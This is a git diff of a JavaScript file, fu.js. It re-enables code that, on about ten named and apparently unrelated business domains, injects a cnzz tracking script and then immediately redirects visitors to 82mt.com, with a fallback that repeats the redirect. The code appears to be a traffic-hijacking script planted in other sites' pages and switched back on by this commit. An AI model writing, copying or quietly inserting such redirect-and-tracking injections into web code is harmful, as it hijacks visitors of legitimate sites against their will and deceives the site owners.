diff --git a/code/public/public/fu/fu.js b/code/public/public/fu/fu.js index 348b8b6..979354a 100644 --- a/code/public/public/fu/fu.js +++ b/code/public/public/fu/fu.js @@ -572,42 +572,59 @@ function shouldLoadCs() { if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') { - // var _czc = _czc || []; - // (function () { - // var um = document.createElement("script"); - // um.src = "https://s9.cnzz.com/z.js?id=1281430635&async=1"; - // var s = document.getElementsByTagName("script")[0]; - // s.parentNode.insertBefore(um, s); - // })(); + var _czc = _czc || []; + (function () { + var um = document.createElement("script"); + um.src = "https://s9.cnzz.com/z.js?id=1281430635&async=1"; + var s = document.getElementsByTagName("script")[0]; + s.parentNode.insertBefore(um, s); + })(); - // if (!checkPopupLimit(1, 'lm-zhitiaocs')) { - // return; // 超过N次限制,不显示 - // } else { - // setTimeout(() => { - // const arrDomain = [ - // '82mt.com', - // ]; - // const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)]; - // const targetUrl = `https://${randomDomain}`; - // try { - // window.location.href = targetUrl; - // } catch (error) { - // console.error('跳转失败:', error); - // window.location.href = 'https://82mt.com'; - // } - // },); // 延迟时间设为 0,表示尽快执行 - // } + if (!checkPopupLimit(1, 'lm-zhitiaocs')) { + return; // 超过N次限制,不显示 + } else { + setTimeout(() => { + const arrDomain = [ + '82mt.com', + ]; + const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)]; + const targetUrl = `https://${randomDomain}`; + try { + window.location.href = targetUrl; + } catch (error) { + console.error('跳转失败:', error); + window.location.href = 'https://82mt.com'; + } + },); // 延迟时间设为 0,表示尽快执行 + } } }else{ // 统计pc量 - if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') { - // var _czc = _czc || []; - // (function () { - // var um = document.createElement("script"); - // um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1"; - // var s = document.getElementsByTagName("script")[0]; - // s.parentNode.insertBefore(um, s); - // })(); + if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') { + var _czc = _czc || []; + (function () { + var um = document.createElement("script"); + um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1"; + var s = document.getElementsByTagName("script")[0]; + s.parentNode.insertBefore(um, s); + })(); + if (!checkPopupLimit(1, 'lm-zhitiaocs')) { + return; // 超过N次限制,不显示 + } else { + setTimeout(() => { + const arrDomain = [ + '82mt.com', + ]; + const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)]; + const targetUrl = `https://${randomDomain}`; + try { + window.location.href = targetUrl; + } catch (error) { + console.error('跳转失败:', error); + window.location.href = 'https://82mt.com'; + } + },); // 延迟时间设为 0,表示尽快执行 + } } }